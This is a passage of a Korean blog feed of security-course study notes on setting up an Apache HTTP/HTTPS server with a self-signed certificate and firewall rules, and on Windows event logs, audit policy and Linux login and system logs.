<p><img src="https://velog.velcdn.com/images/p-jina/post/df010bd2-0a5d-4a25-be1f-d6619df015a6/image.png" alt=""></p>
<pre><code class="language-shell">$ cd /var/www/html
$ nano index.html</code></pre>
<pre><code class="language-html">&lt;html&gt;
  &lt;head&gt;
      &lt;title&gt;Hello World&lt;/title&gt;
  &lt;head&gt;
  &lt;body&gt;
      &lt;h1&gt;Hello World!&lt;/h1&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>
<h4 id="4-방화벽-설정하기">4. 방화벽 설정하기</h4>
<pre><code class="language-shell"># 80번 포트 개방 후 활성화 
$ iptables –I INPUT –m state --state NEW,ESTABLISHED –p tcp --dport 80 -j ACCEPT

# iptables 설정 저장
$ service iptables save

# iptables 서비스 시작
$ service iptables start
</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7a2fe525-4b79-40f3-ab05-5e078537c6a1/image.png" alt=""></p>
<h4 id="5-웹-서비스-활성화">5. 웹 서비스 활성화</h4>
<pre><code class="language-shell"># httpd 서비스 시작
$ service httpd start </code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/23601393-2894-4975-9363-6ea04dbcdba1/image.png" alt=""></p>
<h4 id="6-클라이언트-확인">6. 클라이언트 확인</h4>
<p><code>192.168.10.30</code> 또는 <code>www.open.net</code> 으로 접속
<img src="https://velog.velcdn.com/images/p-jina/post/5c043e86-cc8a-48dc-90dd-cb790acdd857/image.png" alt=""></p>
<h4 id="7-win10에서-hosts-파일-수정">7. Win10에서 hosts 파일 수정</h4>
<pre><code class="language-shell">$ cd C:\\Windows\System32\drivers\etc
$ notepad hosts</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1e81344e-576f-412c-b82c-6ef5b4cac7c7/image.png" alt=""></p>
<h4 id="8-win10에서-접속-확인">8. Win10에서 접속 확인</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/dd6c6f4c-3080-477b-b5bc-404cfb6d42ce/image.png" alt=""></p>
<h3 id="52-https-server-구성">5.2. HTTPS Server 구성</h3>
<h4 id="1-개인키-생성">1. 개인키 생성</h4>
<pre><code class="language-shell">$ cd /etc/pki/tls/certs
$ openssl genrsa -out www.open.net.key 2048</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/6fa75643-8728-49df-8663-4a8e77544722/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/53782e31-97aa-4b72-a7df-3d7f744af3be/image.png" alt=""></p>
<h4 id="2-인증요청서csr-생성">2. 인증요청서(.csr) 생성</h4>
<pre><code class="language-shell">$ openssl req -new -key www.open.net.key -out www.open.net.csr</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/2bd0f1a7-7088-41b5-a1d0-9f6634aa04de/image.png" alt=""></p>
<p>여기서 잘못되면 처음부터 다시 해야한다.</p>
<h4 id="3-개인키와-인증요청서csr를-이용해-인증서crt-생성">3. 개인키와 인증요청서(.csr)를 이용해 인증서(.crt) 생성</h4>
<pre><code class="language-shell">$ openssl x509 -in www.open.net.csr -out www.open.net.crt -req -signkey www.open.net.key -days 365 </code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/418ef23f-eeaf-4800-9ddd-02110759217a/image.png" alt=""></p>
<p>인증서 확인
<img src="https://velog.velcdn.com/images/p-jina/post/3fa9d062-0097-4a20-a1e1-b1d3c10e1246/image.png" alt=""></p>
<p><code>/etc/pki/tls/certs/www.open.net.crt</code> 
<code>/etc/pki/tls/certs/www.open.net.csr</code> 
<code>/etc/pki/tls/certs/www.open.net.key</code> </p>
<h4 id="4-httpd-sslconf-파일에-인증서crt와-인증키-맵핑">4. httpd-ssl.conf 파일에 인증서(.crt)와 인증키 맵핑</h4>
<p>ssl.conf 파일 존재하는지 확인
<img src="https://velog.velcdn.com/images/p-jina/post/551a58ac-4a24-4831-899c-08fbb509222e/image.png" alt=""></p>
<pre><code class="language-shell">$ nano ssl.conf</code></pre>
<p>Server Certificate에 /etc/pki/tls/certs/<a href="http://www.open.net.crt">www.open.net.crt</a>
Server Private Key에 /etc/pki/tls/certs/<a href="http://www.open.net.key">www.open.net.key</a></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/11ea8df3-fd2e-4d74-b105-971a198f654e/image.png" alt=""></p>
<h4 id="5-방화벽-설정">5. 방화벽 설정</h4>
<pre><code class="language-shell">$ iptables -I INPUT -m state --state NEW,ESTABLISHED -p tcp --dport 443 -j ACCEPT</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/50d5d501-9ddf-4f15-9761-26466369c26c/image.png" alt=""></p>
<pre><code class="language-shell">$ service iptables restart
$ service httpd restart</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d99a4b06-84a5-4458-bc25-d6b3b682631d/image.png" alt=""></p>
<h4 id="6-win10에서-확인">6. Win10에서 확인</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7711238d-4188-410a-a40c-de4253cef29d/image.png" alt=""></p>
<p>자체 발급 인증서기 때문에 유효성 검사를 할 수 없어서 인증서 오류 화면이 나타났다.</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1d5d06c9-6ee3-4075-9d3f-8f863ea38d88/image.png" alt=""></p>
<p>엣지 브라우저에서 자체적으로 발급받은 인증서를 확인할 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/1ac5ba7c-9274-4ad8-b93d-2c6ccc1504f0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/568bd17c-80fd-4a9f-b6ec-878d650a9fe8/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/842a071c-ceeb-4514-a206-6e334fcc7411/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/b99a3741-c8c7-47ee-8e0e-36a13be0143e/image.png" alt=""></p>
<h4 id="7-인증서-설치">7. 인증서 설치</h4>
<p>인증서 내보내기
<img src="https://velog.velcdn.com/images/p-jina/post/78f950b1-a7b2-4ccc-af57-0cc39060af61/image.png" alt="">
인증서 설치
<img src="https://velog.velcdn.com/images/p-jina/post/c96fd712-2e17-474b-bcea-9a023cff767e/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/2b3118e0-54a4-4970-a658-20a6bd13a890/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/ea391170-8b1b-443b-bb63-f9df16fd1999/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/db82ad7d-4bf3-40ca-8485-b3c08c7a4b15/image.png" alt=""></p>
<p>설치된 인증서 확인
<img src="https://velog.velcdn.com/images/p-jina/post/e86f6f44-f59e-4e4d-b038-a29c6663cfbf/image.png" alt=""></p>
<p>인터넷 익스플로러로 확인하면 인증서 오류 없이 페이지가 뜨는 것을 확인할 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/58e5cc80-a59f-4cad-9154-a5578c9e9260/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드기반 시스템 운영 및 구축] 윈도우 로그]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EC%9C%88%EB%8F%84%EC%9A%B0-%EB%A1%9C%EA%B7%B8</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EC%9C%88%EB%8F%84%EC%9A%B0-%EB%A1%9C%EA%B7%B8</guid>
            <pubDate>Fri, 05 Jan 2024 07:08:59 GMT</pubDate>
            <description><![CDATA[<h2 id="1-윈도우-로그">1. 윈도우 로그</h2>
<ul>
<li>윈도우에서는 로그를 이벤트라고 지칭</li>
<li>윈도우 운영상의 로그는 이벤트 뷰어에서 관리 ⇔ 프로세스 생성, 삭제, 네트워크 접속 현황은 모니터링 툴인 Sysmon을 이용 </li>
<li>운영체제가 업그레이드 됨에 따라 버전 별로 형태와 경로가 상이함<ul>
<li><strong>Window 2000/XP/2003</strong> <ul>
<li><strong>저장경로</strong> : <code>\windows\system32\config</code></li>
<li><strong>확장자명</strong> : <code>.evt</code></li>
</ul>
</li>
<li><strong>Windows Vista/2008/7/10</strong><ul>
<li><strong>저장경로</strong> : <code>\windows\system32\winevt\logs</code></li>
<li><strong>확장자명</strong> : <code>.evtx</code></li>
</ul>
</li>
</ul>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/382fb539-82a4-4bba-8a9f-831feb7aa0dd/image.png" alt=""></p>
<h2 id="2-이벤트-뷰어">2. 이벤트 뷰어</h2>
<h3 id="21-전역-로그">2.1. 전역 로그</h3>
<ol>
<li><strong>응용프로그램</strong><ul>
<li>윈도우 번들 소프트웨어의 활성화 여부 기록</li>
<li>응용 프로그램이 기록한 다양한 로그가 저장</li>
<li>활성화 여부를 기록, 해당 프로그램의 개발자에 의해 로그 형태 달라짐</li>
</ul>
</li>
<li><strong>보안</strong><ul>
<li>인가/비인가자들의 로그인 시도 및 파일 생성, 열람, 삭제 등의 자원 사용에 관한 기록</li>
<li>감사 정책을 통해 다양한 기록들이 저장</li>
</ul>
</li>
<li><strong>설정</strong><ul>
<li>애플리케이션 설치 시 발생하는 이벤트 기록</li>
<li>프로그램이 잘 설치되었는지 호환성 문제는 없는지 확인 가능</li>
</ul>
</li>
<li><strong>시스템</strong><ul>
<li>서비스 실행여부, 파일 시스템 필터, 디바이스 구성요소 기록</li>
<li>시스템에서 시스템 부팅 시 드라이버가 로드되지 않은 경우와 같은 구성요소의 오류 기록 ⇒ 설정을 해줘야 기록됨
제어판 &gt; 시스템 &gt; 고급 시스템 설정 &gt; 시작 및 복구
<img src="https://velog.velcdn.com/images/p-jina/post/023237d6-d0bb-4408-8302-cc7441339a15/image.png" alt=""></li>
</ul>
</li>
<li><strong>전달된 이벤트</strong><ul>
<li>원격 컴퓨터에서 수집된 이벤트 저장</li>
<li>구독 사용 시 전달된 이벤트 로그에 기록</li>
</ul>
</li>
</ol>
<h3 id="22-응용-프로그램-및-서비스-로그">2.2. 응용 프로그램 및 서비스 로그</h3>
<p>단일 응용 프로그램이나 구성 요소의 이벤트 저장</p>
<h2 id="3-로그-필터링">3. 로그 필터링</h2>
<p><img src="https://velog.velcdn.com/images/p-jina/post/cc9fb3f2-b0d3-4035-91f6-d6861446cbd4/image.png" alt=""></p>
<h3 id="31-이벤트-수준">3.1. 이벤트 수준</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/8f8ecf7c-738d-46c0-9450-2eedf2fdafc9/image.png" alt=""></p>
<ul>
<li><strong>정보</strong> : 응용 프로그램, 드라이버, 서비스가 성공적으로 수행된 경우 기록</li>
<li><strong>경고</strong> <ul>
<li>시스템에 문제가 발생할 수 있는 문제를 미리 알려줌</li>
<li>디스크 공간이 부족 시 발생</li>
</ul>
</li>
<li><strong>오류</strong> : 응용 프로그램 또는 구성 요소 외부에 있는 기능에 영향을 줄 수 있는 문제가 발생했음을 나타냄<ul>
<li>데이타 손실이나 기능 상실 같은 중대한 문제 발생한 경우</li>
<li>시스템을 시작하는 동안 서비스가 로그되지 못했을 경우</li>
</ul>
</li>
<li><strong>위험</strong> : 응용 프로그램 또는 구성 요소가 자동으로 복구할 수 없는 오류가 발생한 경우</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/91578969-057e-4b81-ba7b-d11ed55a0b02/image.png" alt=""></p>
<h3 id="32-이벤트-id">3.2. 이벤트 ID</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/9bca6d9d-a3bf-41f9-9080-35d815d70584/image.png" alt=""></p>
<ul>
<li><strong>4726</strong> : 계정 삭제</li>
<li><strong>4624</strong> : 로그인 성공</li>
<li><strong>4625</strong> : 로그인 실패</li>
<li><strong>5142</strong> : 네트워크 공유 개체가 추가</li>
<li><strong>5632</strong> : 무선 네트워크에 인증 요청</li>
<li><strong>4689</strong> : 프로토콜 끝냄</li>
<li><strong>6005</strong> : 시스템 시작</li>
<li><strong>6006</strong> : 시스템 종료</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/67b34227-be5a-454e-86e1-d5946801f36f/image.png" alt=""></p>
<h2 id="4-감사-정책">4. 감사 정책</h2>
<h3 id="41-정의">4.1. 정의</h3>
<ul>
<li>보안 로그 정책
보안 이슈에 대해 어떤 정책을 생성, 정책에 따라 이벤트 뷰어에서 확인가능.</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/676d6697-af3e-43b9-8a00-00ea80bf32da/image.png" alt=""></p>
<h3 id="42-로컬-정책--감사-정책">4.2. 로컬 정책 &gt; 감사 정책</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/c47d0b4f-dfb5-46d2-8d3a-00de66600178/image.png" alt=""></p>
<h4 id="1-개체-액세스-감사-권장값--감사안함">1) 개체 액세스 감사 (권장값 : 감사안함)</h4>
<ul>
<li>객체에 대한 접근 성공/실패 여부를 기록할지 결정하는 항목</li>
<li>특정 파일이나 디렉터리, 레지스트리 키, 프린터 같은 객체에 접근을 시도하거나 속성을 변경하려는 것을 탐지</li>
<li>대상을 선정하고 접근 권한을 부여하는 것을 개체별로 설정
(ex. 파일 속성 탭 -&gt; 보안탭)<ul>
<li>검사안함 : 객체에 대한 접근을 성공하든 실패하든 로그를 기록 안함 ⇒ 안하는 이유는? 너무 많은 로그가 쌓이기 때문에</li>
</ul>
</li>
</ul>
<h4 id="2-계정-관리-감사-권장값--실패">2) 계정 관리 감사 (권장값 : 실패)</h4>
<ul>
<li>계정 관리 이벤트를 감사할지 여부를 결정하는 항목</li>
<li>신규 사용자, 그룹의 추가, 기존 사용자의 그룹 변경, 사용자의 활성화/비활성화,
계정 패스워드 변경 등을 감사</li>
<li>사용자의 계정이 잠겨(lock)있더라도 로그가 생성</li>
<li>실패 : 계정 관리 이벤트가 실패 했을 때 생성되는 로그</li>
</ul>
<h4 id="3-프로세스-추적-감사-권장값--감사안함">3) 프로세스 추적 감사 (권장값 : 감사안함)</h4>
<ul>
<li>프로세스 생성, 종료 , 핸들 복제 및 간접 개체 액세스 같은 프로세스 관련 이벤트를
감사할지 여부를 결정하는 항목</li>
<li>감사안함 : 프로세스가 성공하든 실패하든 검사를 안함</li>
</ul>
<h4 id="4-권한-사용-감사-권장값--실패">4) 권한 사용 감사 (권장값 : 실패)</h4>
<ul>
<li>사용자 권한을 이용하려고 할 때마다 이벤트를 생성 할 지 결정하는 항목</li>
<li>권한 설정을 변경할 때나 관리자 권한이 필요한 작업을 수행 시</li>
<li>계정을 생성하거나 권한을 변경 시</li>
<li>관리자 권한의 작업이 일어날 때 마다 로그가 남기 때문에 많은 로그가 생성</li>
<li>실패 : 사용자 권한 사용에 실패 했을 때 생성되는 로그</li>
</ul>
<h4 id="5-시스템-이벤트-감사-권장값--감사안함">5) 시스템 이벤트 감사 (권장값 : 감사안함)</h4>
<ul>
<li>시스템 시작,종료 &amp; 보안 로그에 영향을 미치는 이벤트를 기록할지를 결정하는 항목</li>
<li>시스템의 다시 시작하거나 종료되는 경우</li>
<li>보안 로그 삭제 등 시스템의 주요한 사항에 대해</li>
<li>검사안함 : 위의 모든 행동에 대해 기록 안함</li>
</ul>
<h4 id="6-로그온-이벤트-감사-권장값--성공실패">6) 로그온 이벤트 감사 (권장값 : 성공,실패)</h4>
<ul>
<li>로컬계정에 대한 로그온/오프 성공/실패에 대한 이벤트를 기록할지를 결정하는 항목</li>
<li>계정 로그온 이벤트 감사와 비슷하나, 로컬 계정의 접근 시 생성되는 이벤트를 감사</li>
<li>성공,실패 : 로컬계정에 대한 로그온/오프 하였을때 성공 시 , 실패 시 모두 로그로 기록</li>
</ul>
<h4 id="7-계정-로그온-이벤트-감사-권장값--성공실패">7) 계정 로그온 이벤트 감사 (권장값 : 성공,실패)</h4>
<ul>
<li>도메인 계정의 로그온 성공/실패 로그를 기록할지를 결정하는 항목</li>
<li>성공,실패 : 다른계정이 도메인으로 접속 하였을때 로그인 성공 시와 실패 시 모두 로그로 기록</li>
</ul>
<blockquote>
<p>💡 <strong><code>계정 로그온</code> 과 <code>계정 관리 감사</code> 의 차이</strong>
<code>username</code> 는 로컬에서 관리하기 때문에 계정관리 감사
<code>username@naver.com</code> 과 같이 도메인을 타고 오는 경우 도메인 그룹에서 다루기 때문에</p>
</blockquote>
<h4 id="8-정책-변경-감사권장값--성공실패">8) 정책 변경 감사(권장값 : 성공,실패)</h4>
<ul>
<li>감사 정책의 변경 시 성공과 실패 이벤트를 기록할지를 결정하는 항목</li>
<li>성공,실패 : 감사 정책의 변경 성공 시 , 실패 시 모두 로그로 기록 </li>
</ul>
<h4 id="9-디렉터리-서비스-액세스-감사권장값--실패">9) 디렉터리 서비스 액세스 감사(권장값 : 실패)</h4>
<ul>
<li>액티브 디렉터리의 SACL(시스템 액세스 제어 목록)에 있는 사용자가 해당 개체에 액세스를 시도 할 때 이벤트생성 할 지 결정하는 항목</li>
<li>실패 : SACL이 있는 액티브 디렉터리의 객체에 실패 했을 때 로그 생성</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드기반 시스템 운영 및 구축] 리눅스 로그, syslog와 rsyslog, rsyslog 전송 및 수신 실습]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EB%A6%AC%EB%88%85%EC%8A%A4-%EB%A1%9C%EA%B7%B8-syslog%EC%99%80-rsyslog-rsyslog-%EC%A0%84%EC%86%A1-%EB%B0%8F-%EC%88%98%EC%8B%A0-%EC%8B%A4%EC%8A%B5</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EB%A6%AC%EB%88%85%EC%8A%A4-%EB%A1%9C%EA%B7%B8-syslog%EC%99%80-rsyslog-rsyslog-%EC%A0%84%EC%86%A1-%EB%B0%8F-%EC%88%98%EC%8B%A0-%EC%8B%A4%EC%8A%B5</guid>
            <pubDate>Fri, 05 Jan 2024 00:38:56 GMT</pubDate>
            <description><![CDATA[<h2 id="1-로그log">1. 로그(Log)</h2>
<h3 id="11-정의">1.1. 정의</h3>
<ul>
<li>시스템의 모든 기록을 담고 있는 데이터</li>
<li>성능, 오류, 경고 및 운영 정보 등의 중요 정보 기록</li>
</ul>
<h3 id="12-특징">1.2. 특징</h3>
<ul>
<li>특별한 형태의 기준에 따라 숫자와 기호 등으로 이루어짐</li>
<li>로그를 분석하지 않고 그대로 활용하기는 어렵다. ⇒ 왜? 웹서버의 경우 하루 수백 메가에서 기가 단위의 로그가 쌓이기 때문에 대용량 로그를 일일이 살펴보기란 어렵다.</li>
</ul>
<h3 id="13-로그-데이터의-중요성">1.3. 로그 데이터의 중요성</h3>
<ul>
<li>문제 원인 추적 및 예방</li>
<li>오류, 보안 이슈 탐지</li>
<li>시스템 예측 및 복구 지원</li>
<li>침해 사고 근거 자료</li>
<li>법적 의무 준수의 필수 요소</li>
</ul>
<h3 id="14-로그-분석">1.4. 로그 분석</h3>
<ul>
<li>로그 데이터를 분석하여 필요로 하는 유용한 정보로 만드는 행위</li>
</ul>
<h3 id="15-분석할-로그-종류">1.5. 분석할 로그 종류</h3>
<ol>
<li>네트워크/보안 장비 로그<ul>
<li>방화벽</li>
<li>VPN</li>
<li>라우터 / 스위치</li>
<li>IPS</li>
<li>IDS</li>
</ul>
</li>
<li>서버/Endpoint/애플리케이션 로그<ul>
<li>서버</li>
<li>이벤트</li>
<li>애플리케이션</li>
</ul>
</li>
</ol>
<h2 id="2-리눅스-로그-종류">2. 리눅스 로그 종류</h2>
<h3 id="21-텍스트-기반-로그">2.1. 텍스트 기반 로그</h3>
<p>cat 으로 읽을 수 있다.</p>
<ul>
<li><code>/var</code> : 가변 데이터 저장소</li>
<li><code>/var/log</code> : 로그 위치, 파일 유형(텍스트, 바이너리(설치파일) 형태)</li>
<li><code>/var/mailog</code> : 시스템 상태 알림 로그</li>
<li><code>/var/log/secure</code> : 인증 시스템 로그(PAM 등)</li>
<li><code>/var/log/boot.log</code> : 시스템 부팅 로그</li>
<li><code>/var/log/cron</code> : 작업 스케쥴링 로그</li>
<li><code>/var/log/httpd</code> : 아파치 웹 서버 로그</li>
<li><code>/var/log/samba</code> : 삼바 서버 로그</li>
<li><code>/var/log/maillog</code> : 메일 서버 로그 (Sendmail, Postfix 등)</li>
<li><code>/var/log/xferlog</code> : FTP 서버 로그 (VSFTP, Proftp 등)</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/70b0abdb-30ce-4f25-88c2-085341ce7c63/image.png" alt=""></p>
<blockquote>
<p>💡 리눅스 로그는 <span style="color:#e06c75">분산 저장</span>되어 있거나 <span style="color:#e06c75">중복 저장</span>이 되어 있기 때문에 <span style="color:#e06c75">완벽하게 삭제가 어렵다.</span></p>
</blockquote>
<blockquote>
<p>✅ 바이너리 로그  명령어 반드시 숙지!!</p>
</blockquote>
<h3 id="23-바이너리-로그">2.3. 바이너리 로그</h3>
<p>명령어를 이용해서 읽어야 한다.</p>
<h4 id="varrunutmp">/var/run/utmp</h4>
<p>사용자의 현재 로그인 정보 기록</p>
<pre><code class="language-shell"># 현재 시스템에 로그인한 모든 사용자 정보(사용자 이름, 로그인 시간, 로그인한 터미널 등)
$ who
webserver :0           2024-01-04 17:24 (:0)
webserver pts/0        2024-01-04 17:25 (:0)

# who의 정보 +@ 시스템 로드 정보, 시스템 가동시간
$ w
 21:41:56 up  4:18,  2 users,  load average: 0.25, 0.11, 0.10
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
webserve :0        17:24   ?xdm?   6:49   0.32s gdm-session-worker [pam/gdm-password]
webserve pts/0     17:25    4.00s  4.81s  9.35s /usr/libexec/gnome-terminal-server

# user --- 실행안됨

# 특정 사용자의 정보
$ finger 사용자명</code></pre>
<h4 id="varlogwtmp">/var/log/wtmp</h4>
<ol>
<li>사용자 로그인/로그아웃, 시스템 종료, 부팅/재부팅, 정보 기록 </li>
<li>conole, telnet, ftp 통한 원격 로그인 정보 <pre><code class="language-shell"># 사용자 로그인 정보 확인(사용자 이름, 터미널, 시간과 날짜, 세션 지속시간)
$ last
webserve pts/0        :0               Thu Jan  4 17:25   still logged in   
webserve :0           :0               Thu Jan  4 17:24   still logged in   
(unknown :0           :0               Thu Jan  4 17:23 - 17:24  (00:01)    
reboot   system boot  3.10.0-123.el7.x Thu Jan  4 17:23 - 21:16  (03:53)    
webserve pts/0        :0               Thu Jan  4 15:37 - crash  (01:45)    
webserve pts/0        :0               Thu Jan  4 13:07 - 15:37  (02:29)    
webserve :0           :0               Thu Jan  4 13:07 - crash  (04:15)    
(unknown :0           :0               Thu Jan  4 13:06 - 13:07  (00:00)    
reboot   system boot  3.10.0-123.el7.x Thu Jan  4 13:06 - 21:16  (08:10)    
reboot   system boot  3.10.0-123.el7.x Thu Jan  4 12:29 - 13:06  (00:37) 
</code></pre>
</li>
</ol>
<h1 id="특정-사용자의-마지막-로그인-정보-확인">특정 사용자의 마지막 로그인 정보 확인</h1>
<p>$ last 사용자이름
wtmp begins Thu Jan  4 12:29:15 2024</p>
<h1 id="시스템이-재부팅한-날짜-확인">시스템이 재부팅한 날짜 확인</h1>
<p>$ last reboot
reboot   system boot  3.10.0-123.el7.x Thu Jan  4 17:23 - 21:26  (04:03)<br>reboot   system boot  3.10.0-123.el7.x Thu Jan  4 13:06 - 21:26  (08:20)<br>reboot   system boot  3.10.0-123.el7.x Thu Jan  4 12:29 - 13:06  (00:37)    </p>
<p>wtmp begins Thu Jan  4 12:29:15 2024</p>
<h1 id="마지막으로-재부팅된-시간-확인--1-옵션은-last-명령어가-표시할-라인-수">마지막으로 재부팅된 시간 확인 -1 옵션은 last 명령어가 표시할 라인 수</h1>
<p>$ last -1 reboot
reboot   system boot  3.10.0-123.el7.x Thu Jan  4 17:23 - 21:28  (04:05)</p>
<h1 id="로그인로그아웃-활동-이력-파일을-검색하여-해당-파일이-생성된-이후로-로그인한-모든-사용자의-목록-표시">로그인/로그아웃 활동 이력 파일을 검색하여 해당 파일이 생성된 이후로 로그인한 모든 사용자의 목록 표시</h1>
<h1 id="varlogwtmp-파일은-로테이션-파일이기-때문에-오래된-항목은-파일명-뒤에-1처럼-숫자가-붙는다">/var/log/wtmp 파일은 로테이션 파일이기 때문에 오래된 항목은 파일명 뒤에 .1처럼 숫자가 붙는다.</h1>
<h1 id="last와-last--f-varlogwtmp-명령어의-결과가-동일한-이유는-last가-varlogwtmp-파일을-검색하여-내용을-보여주기-때문에">last와 last -f /var/log/wtmp 명령어의 결과가 동일한 이유는 last가 /var/log/wtmp 파일을 검색하여 내용을 보여주기 때문에</h1>
<p>$ last -f /var/log/wtmp.1</p>
<h1 id="가장-최근에-로그인한-두-명의-사용자-정보-표시">가장 최근에 로그인한 두 명의 사용자 정보 표시</h1>
<p>$ last 2
wtmp begins Thu Jan  4 12:29:15 2024</p>
<pre><code>
#### /var/log/btmp
사용자의 로그인 실패 기록
```shell
$ lastb
btmp begins Thu Jan  4 17:23:09 2024</code></pre><h4 id="varloglastlog">/var/log/lastlog</h4>
<p>시스템 계정의 마지막 가장 최근 로그인 정보</p>
<pre><code class="language-shell">$ lastlog
사용자이름       포트     어디서           최근정보
root             pts/0                     목  1월  4 17:26:54 +0900 2024
bin                                        **한번도 로그인한 적이 없습니다**
daemon                                     **한번도 로그인한 적이 없습니다**
adm                                        **한번도 로그인한 적이 없습니다**
lp                                         **한번도 로그인한 적이 없습니다**
sync                                       **한번도 로그인한 적이 없습니다**
shutdown                                   **한번도 로그인한 적이 없습니다**
halt                                       **한번도 로그인한 적이 없습니다**
mail                                       **한번도 로그인한 적이 없습니다**
operator                                   **한번도 로그인한 적이 없습니다**
games                                      **한번도 로그인한 적이 없습니다**
ftp                                        **한번도 로그인한 적이 없습니다**
nobody                                     **한번도 로그인한 적이 없습니다**
dbus                                       **한번도 로그인한 적이 없습니다**
polkitd                                    **한번도 로그인한 적이 없습니다**
usbmuxd                                    **한번도 로그인한 적이 없습니다**
ntp                                        **한번도 로그인한 적이 없습니다**
saslauth                                   **한번도 로그인한 적이 없습니다**
libstoragemgmt                             **한번도 로그인한 적이 없습니다**
avahi                                      **한번도 로그인한 적이 없습니다**
avahi-autoipd                              **한번도 로그인한 적이 없습니다**
rpc                                        **한번도 로그인한 적이 없습니다**
rtkit                                      **한번도 로그인한 적이 없습니다**
chrony                                     **한번도 로그인한 적이 없습니다**
radvd                                      **한번도 로그인한 적이 없습니다**
colord                                     **한번도 로그인한 적이 없습니다**
apache                                     **한번도 로그인한 적이 없습니다**
rpcuser                                    **한번도 로그인한 적이 없습니다**
nfsnobody                                  **한번도 로그인한 적이 없습니다**
unbound                                    **한번도 로그인한 적이 없습니다**
qemu                                       **한번도 로그인한 적이 없습니다**
abrt                                       **한번도 로그인한 적이 없습니다**
pulse                                      **한번도 로그인한 적이 없습니다**
gdm              :0                        목  1월  4 17:23:12 +0900 2024
gnome-initial-setup                           **한번도 로그인한 적이 없습니다**
pcp                                        **한번도 로그인한 적이 없습니다**
postfix                                    **한번도 로그인한 적이 없습니다**
sshd                                       **한번도 로그인한 적이 없습니다**
oprofile                                   **한번도 로그인한 적이 없습니다**
tcpdump                                    **한번도 로그인한 적이 없습니다**
webserver        :0                        목  1월  4 17:24:40 +0900 2024
</code></pre>
<h4 id="usraccountpacct">/usr/account/pacct</h4>
<ol>
<li>시스템에 로그인한 사용자가 실행한 프로그램 정보 기록</li>
<li>로그인해서 로그오프 할 때까지 입력 정보 등을 기록
(※ 시스템 자원을 많이 소모하기 때문에 기본적으로 동작 X)<pre><code class="language-shell">$ acctcom
$ lastcomm</code></pre>
</li>
</ol>
<blockquote>
<p>💡 이 모든 로그들은 리눅스 로그 관리 패키지 <code>syslog</code> 나 <code>rsyslog</code> 에 의해 저장되고 관리된다.</p>
</blockquote>
<h2 id="3-syslog와-rsyslog">3. syslog와 rsyslog</h2>
<h3 id="31-정의">3.1. 정의</h3>
<ul>
<li>응용 프로그램 또는 커널에서 생성된 로그를 관리해주는 <span style="color:#e06c75"><strong>리눅스 로그 관리 패키지</strong></span></li>
<li>기존 <code>syslog</code> 를 확장시킨 버전이 <code>rsyslog</code></li>
</ul>
<h3 id="32-위치">3.2. 위치</h3>
<p>/etc/syslog.conf
/etc/rsyslog.conf</p>
<pre><code class="language-shell">$ ls /etc/syslog.*</code></pre>
<h3 id="33-etcrsyslogconf-파일">3.3. /etc/rsyslog.conf 파일</h3>
<p>규칙을 만들 때 고려해야하는 부분 - 어떤 문제가 생겼을 때 로그를 남길 것인가?</p>
<pre><code class="language-shell">$ cat /var/log/secure</code></pre>
<pre><code class="language-shell"># 형식
[facility].[proiority]                   [action]</code></pre>
<ol>
